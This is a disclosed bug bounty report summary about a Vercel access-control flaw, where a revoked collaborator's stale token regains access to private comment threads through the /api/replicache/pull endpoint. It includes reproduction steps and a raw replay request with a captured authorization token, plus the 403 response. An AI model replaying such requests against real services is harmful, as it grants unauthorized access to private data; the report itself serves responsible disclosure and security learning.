# Revoked deployment collaborator regains access to private comments after active collaborator interaction

Revoked Vercel deployment collaborator's stale token regained access to private comment threads via Replicache pull endpoint after an active collaborator interacted with the toolbar.

- Payout: $1,026
- Severity: medium
- Program: Vercel
- Found by: qub
- Disclosed: 2026-10-29
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/3852102
- Library page: https://bugbountylibrary.com/r/h1%3A3852102
- Tags: area:web domain:web impact:data-leak impact:integrity kind:bounty platform:hackerone sev:medium tech:rest technique:regression vuln:access-control vuln:auth-bypass vuln:idor

**Target:** /api/replicache/pull sync endpoint on vercel.live
**Root cause:** Revocation invalidates the token (403), but a subsequent active-collaborator toolbar interaction re-authorizes the stale token, likely because membership state is re-derived from cached/stale sync data rather than re-checked against revocation.
**Steps:**
1. Create Vercel account and deployment; invite COLLABORATOR A.
2. As A with proxy on, interact with deployment toolbar and comment; capture `POST /api/replicache/pull?docID=live_mode_1@prj_...@dpl_...` with A's `authorization` header.
3. Reduce request to minimal headers/body with `{"profileID":"","clientID":"","cookie":{"version":1}}`.
4. Revoke A, invite COLLABORATOR B; replay request as A -> `403 Not authorized`.
5. As B, interact with toolbar and post a comment.
6. Replay A's same request -> `200 OK` returning all comment threads and messages.
**How found:** Researcher captured the Replicache pull request during normal toolbar use, then tested token behavior across revocation and observed the 403 flipping back to 200 after another collaborator's interaction.
**Exploitation:** Attacker retains their revoked token and docID; after any active collaborator touches the toolbar, replaying the pull request returns the full Replicache patch containing private comments, deployment info and collaborator activity, and reportedly allows interacting like an invited user.
**Insight:** On realtime sync backends (Replicache/CRDT), test whether authorization is re-evaluated per request or re-derived from synced membership state; a stale token can be revived by unrelated peer activity that rewrites the shared doc.

## Proof of concept (copied exactly from the original report)

**Customized pull request with cookie version 1**

```
POST /api/replicache/pull?docID=live_mode_1@prj_xcUQNkVarBAI1icuIfJI465i0UuR@dpl_31W3G8TZmu81RdPJJubhDrMEWoE1 HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..q2sGdDrOAPd7ZK7J.AvhDgYJgMhzFDO4qcyi0ZH0V3h6PfMRAdN-93MZd9sXfZ4YAR7N2fh9Fepj7q1JLy0wVkIIcIjdRAGIJ3uGdBtwUqcDfnUu4zkVZPrnGsr-OpIt1QIBs-AAJAWu1Wn9eXbsS0yqfzGlvA2e5g8jGoOzL4OsnDeAQ5B_KBV2tt8DArHXmBLyz6xBkYeEFaz6pT9pk0ITPtlbYiDJgmDY_H8PQ5P2HWWpVl-Va_zHbpLA2pfxupbIdQW0eUBsY83QbfJF5SedKqahl55-6KPM9PATw5QV4jTSfsVDFnCx-5yk6NHV-JSbhzAXBBF3XCNzATt_FbW3U1NnrtHTOdvB8pX2DRp_hA237c4BaIwD5rBL0SPoEqPv8Px97_yG-WYyIPIW2nSD6mcAlabD5pwhGlc8OhEkq7oJ3jcYUVjVKTkWamxPd4NQmcPFVHtmGZxRR5hGJN98l-QispkLJP9_VctMnUvK4PoBG6XrGsWmknMN6J4ZzJy97ooseeRwfHPH1dzvsaOlqs30TMgqV6fdY5wfidICnRgSYAh0LnHL696cO4mXyj3df3dJLCnp12WsTzze6nsJiXi2cf7xwnp6iKcqXEFJomTOojJus8LZ_cDg8PLO9KCsU-vbPLkzZLuVnWF_3h8YX4dLYVjc1N6MK57z4PWICw2__CRj50MJjsIA3ehtdjo8TLHjbWSsxpJdU_1VQus9ydYllgBPd8Ijt0qstCDI82mWaIQ.JCOu7w3J6Qk3DTw0Dlbd6w
content-type: application/json

{"profileID":"","clientID":"","cookie":{"version":1}}
```

**403 response after revocation**

```
HTTP/1.1 403 Forbidden
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Length: 103
Content-Type: application/json; charset=utf-8
Date: Thu, 09 Jul 2026 04:17:56 GMT
Etag: "jbk8mtdrfm2v"
Server: Vercel
Strict-Transport-Security: max-age=63072000
X-Matched-Path: /api/replicache/pull
X-Robots-Tag: noindex
X-Vercel-Cache: MISS
X-Vercel-Id: cpt1::sfo1::fdwhc-1783570675940-81e073948471

{
    "error": {
        "message": "Not authorized.",
        "code": "unauthorized",
        "statusCode": 403,
        "extras": {},
        "isRaw": true
    }
}
```